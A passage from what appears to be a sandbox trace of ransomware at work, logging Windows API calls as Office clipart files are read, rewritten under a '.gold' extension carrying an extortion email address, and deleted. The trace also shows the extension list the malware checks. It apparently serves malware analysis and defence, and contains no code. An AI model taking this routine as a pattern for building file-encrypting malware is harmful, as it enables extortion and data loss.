hTemplateFile=0x0) returned 0x39c [0113.058] GetLastError () returned 0x0 [0113.058] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xe956, lpOverlapped=0x0) returned 1 [0113.061] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xe960, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xe960, lpOverlapped=0x0) returned 1 [0113.062] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.062] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.063] SetEndOfFile (hFile=0x39c) returned 1 [0113.063] CloseHandle (hObject=0x39c) returned 1 [0113.063] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.063] SetEndOfFile (hFile=0x3e0) returned 1 [0113.065] CloseHandle (hObject=0x3e0) returned 1 [0113.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf")) returned 1 [0113.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.066] lstrlenW (lpString=".doc") returned 4 [0113.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.066] lstrlenW (lpString=".docx") returned 5 [0113.066] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.066] lstrlenW (lpString=".pdf") returned 4 [0113.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.066] lstrlenW (lpString=".xls") returned 4 [0113.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.066] lstrlenW (lpString=".xlsx") returned 5 [0113.066] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.066] lstrlenW (lpString=".ppt") returned 4 [0113.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.066] lstrlenW (lpString=".zip") returned 4 [0113.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.066] lstrlenW (lpString=".rar") returned 4 [0113.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.066] lstrlenW (lpString=".bz2") returned 4 [0113.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.066] lstrlenW (lpString=".7z") returned 3 [0113.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.067] lstrlenW (lpString=".dbf") returned 4 [0113.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.067] lstrlenW (lpString=".1cd") returned 4 [0113.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.067] lstrlenW (lpString=".jpg") returned 4 [0113.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.067] lstrlenW (lpString=".doc") returned 4 [0113.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString=".docx") returned 5 [0113.067] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.067] lstrlenW (lpString=".pdf") returned 4 [0113.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString=".xls") returned 4 [0113.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.067] lstrlenW (lpString=".xlsx") returned 5 [0113.067] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.067] lstrlenW (lpString=".ppt") returned 4 [0113.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.067] lstrlenW (lpString=".zip") returned 4 [0113.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.067] lstrlenW (lpString=".rar") returned 4 [0113.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString=".bz2") returned 4 [0113.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString=".7z") returned 3 [0113.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.067] lstrlenW (lpString=".dbf") returned 4 [0113.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.067] lstrlenW (lpString=".1cd") returned 4 [0113.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0113.068] lstrlenW (lpString=".jpg") returned 4 [0113.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.068] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.068] lstrlenW (lpString="J0185786.WMF") returned 12 [0113.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.068] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=39330) returned 1 [0113.068] CloseHandle (hObject=0x3e0) returned 1 [0113.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf")) returned 0x20 [0113.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.069] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.069] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.070] GetLastError () returned 0x0 [0113.070] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x99a2, lpOverlapped=0x0) returned 1 [0113.072] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x99b0, lpOverlapped=0x0) returned 1 [0113.073] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.073] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.073] SetEndOfFile (hFile=0x39c) returned 1 [0113.073] CloseHandle (hObject=0x39c) returned 1 [0113.073] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.073] SetEndOfFile (hFile=0x3e0) returned 1 [0113.076] CloseHandle (hObject=0x3e0) returned 1 [0113.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf")) returned 1 [0113.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.077] lstrlenW (lpString=".doc") returned 4 [0113.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.077] lstrlenW (lpString=".docx") returned 5 [0113.077] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0113.077] lstrlenW (lpString=".pdf") returned 4 [0113.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.077] lstrlenW (lpString=".xls") returned 4 [0113.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.077] lstrlenW (lpString=".xlsx") returned 5 [0113.077] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0113.077] lstrlenW (lpString=".ppt") returned 4 [0113.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.077] lstrlenW (lpString=".zip") returned 4 [0113.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.077] lstrlenW (lpString=".rar") returned 4 [0113.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.077] lstrlenW (lpString=".bz2") returned 4 [0113.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.077] lstrlenW (lpString=".7z") returned 3 [0113.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.077] lstrlenW (lpString=".dbf") returned 4 [0113.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.077] lstrlenW (lpString=".1cd") returned 4 [0113.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.077] lstrlenW (lpString=".jpg") returned 4 [0113.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.078] lstrlenW (lpString=".doc") returned 4 [0113.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.078] lstrlenW (lpString=".docx") returned 5 [0113.078] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0113.078] lstrlenW (lpString=".pdf") returned 4 [0113.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.078] lstrlenW (lpString=".xls") returned 4 [0113.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.078] lstrlenW (lpString=".xlsx") returned 5 [0113.078] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0113.078] lstrlenW (lpString=".ppt") returned 4 [0113.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.078] lstrlenW (lpString=".zip") returned 4 [0113.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.078] lstrlenW (lpString=".rar") returned 4 [0113.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.078] lstrlenW (lpString=".bz2") returned 4 [0113.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.078] lstrlenW (lpString=".7z") returned 3 [0113.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.078] lstrlenW (lpString=".dbf") returned 4 [0113.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.078] lstrlenW (lpString=".1cd") returned 4 [0113.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0113.078] lstrlenW (lpString=".jpg") returned 4 [0113.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.078] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.078] lstrlenW (lpString="J0185790.WMF") returned 12 [0113.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.079] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=20662) returned 1 [0113.079] CloseHandle (hObject=0x3e0) returned 1 [0113.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf")) returned 0x20 [0113.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.079] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.079] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.080] GetLastError () returned 0x0 [0113.080] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x50b6, lpOverlapped=0x0) returned 1 [0113.082] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x50c0, lpOverlapped=0x0) returned 1 [0113.083] ReadFile (in: hFile=0x3e0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.083] WriteFile (in: hFile=0x39c, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.083] SetEndOfFile (hFile=0x39c) returned 1 [0113.083] CloseHandle (hObject=0x39c) returned 1 [0113.083] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.083] SetEndOfFile (hFile=0x3e0) returned 1 [0113.087] CloseHandle (hObject=0x3e0) returned 1 [0113.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf")) returned 1 [0113.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.089] lstrlenW (lpString=".doc") returned 4 [0113.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.089] lstrlenW (lpString=".docx") returned 5 [0113.089] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.089] lstrlenW (lpString=".pdf") returned 4 [0113.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.089] lstrlenW (lpString=".xls") returned 4 [0113.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.089] lstrlenW (lpString=".xlsx") returned 5 [0113.089] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.089] lstrlenW (lpString=".ppt") returned 4 [0113.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.089] lstrlenW (lpString=".zip") returned 4 [0113.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.268] lstrlenW (lpString=".rar") returned 4 [0113.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.268] lstrlenW (lpString=".bz2") returned 4 [0113.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.268] lstrlenW (lpString=".7z") returned 3 [0113.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.268] lstrlenW (lpString=".dbf") returned 4 [0113.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.268] lstrlenW (lpString=".1cd") returned 4 [0113.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.268] lstrlenW (lpString=".jpg") returned 4 [0113.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.269] lstrlenW (lpString=".doc") returned 4 [0113.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.269] lstrlenW (lpString=".docx") returned 5 [0113.269] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.269] lstrlenW (lpString=".pdf") returned 4 [0113.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.269] lstrlenW (lpString=".xls") returned 4 [0113.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.269] lstrlenW (lpString=".xlsx") returned 5 [0113.269] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.269] lstrlenW (lpString=".ppt") returned 4 [0113.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.269] lstrlenW (lpString=".zip") returned 4 [0113.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.269] lstrlenW (lpString=".rar") returned 4 [0113.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.269] lstrlenW (lpString=".bz2") returned 4 [0113.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.269] lstrlenW (lpString=".7z") returned 3 [0113.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.269] lstrlenW (lpString=".dbf") returned 4 [0113.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.269] lstrlenW (lpString=".1cd") returned 4 [0113.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0113.269] lstrlenW (lpString=".jpg") returned 4 [0113.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.269] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.269] lstrlenW (lpString="J0185842.WMF") returned 12 [0113.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.391] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=14308) returned 1 [0113.392] CloseHandle (hObject=0x198) returned 1 [0113.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf")) returned 0x20 [0113.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0113.489] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.489] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.490] GetLastError () returned 0x0 [0113.490] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x37e4, lpOverlapped=0x0) returned 1 [0113.511] WriteFile (in: hFile=0x3f8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x37f0, lpOverlapped=0x0) returned 1 [0113.512] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.512] 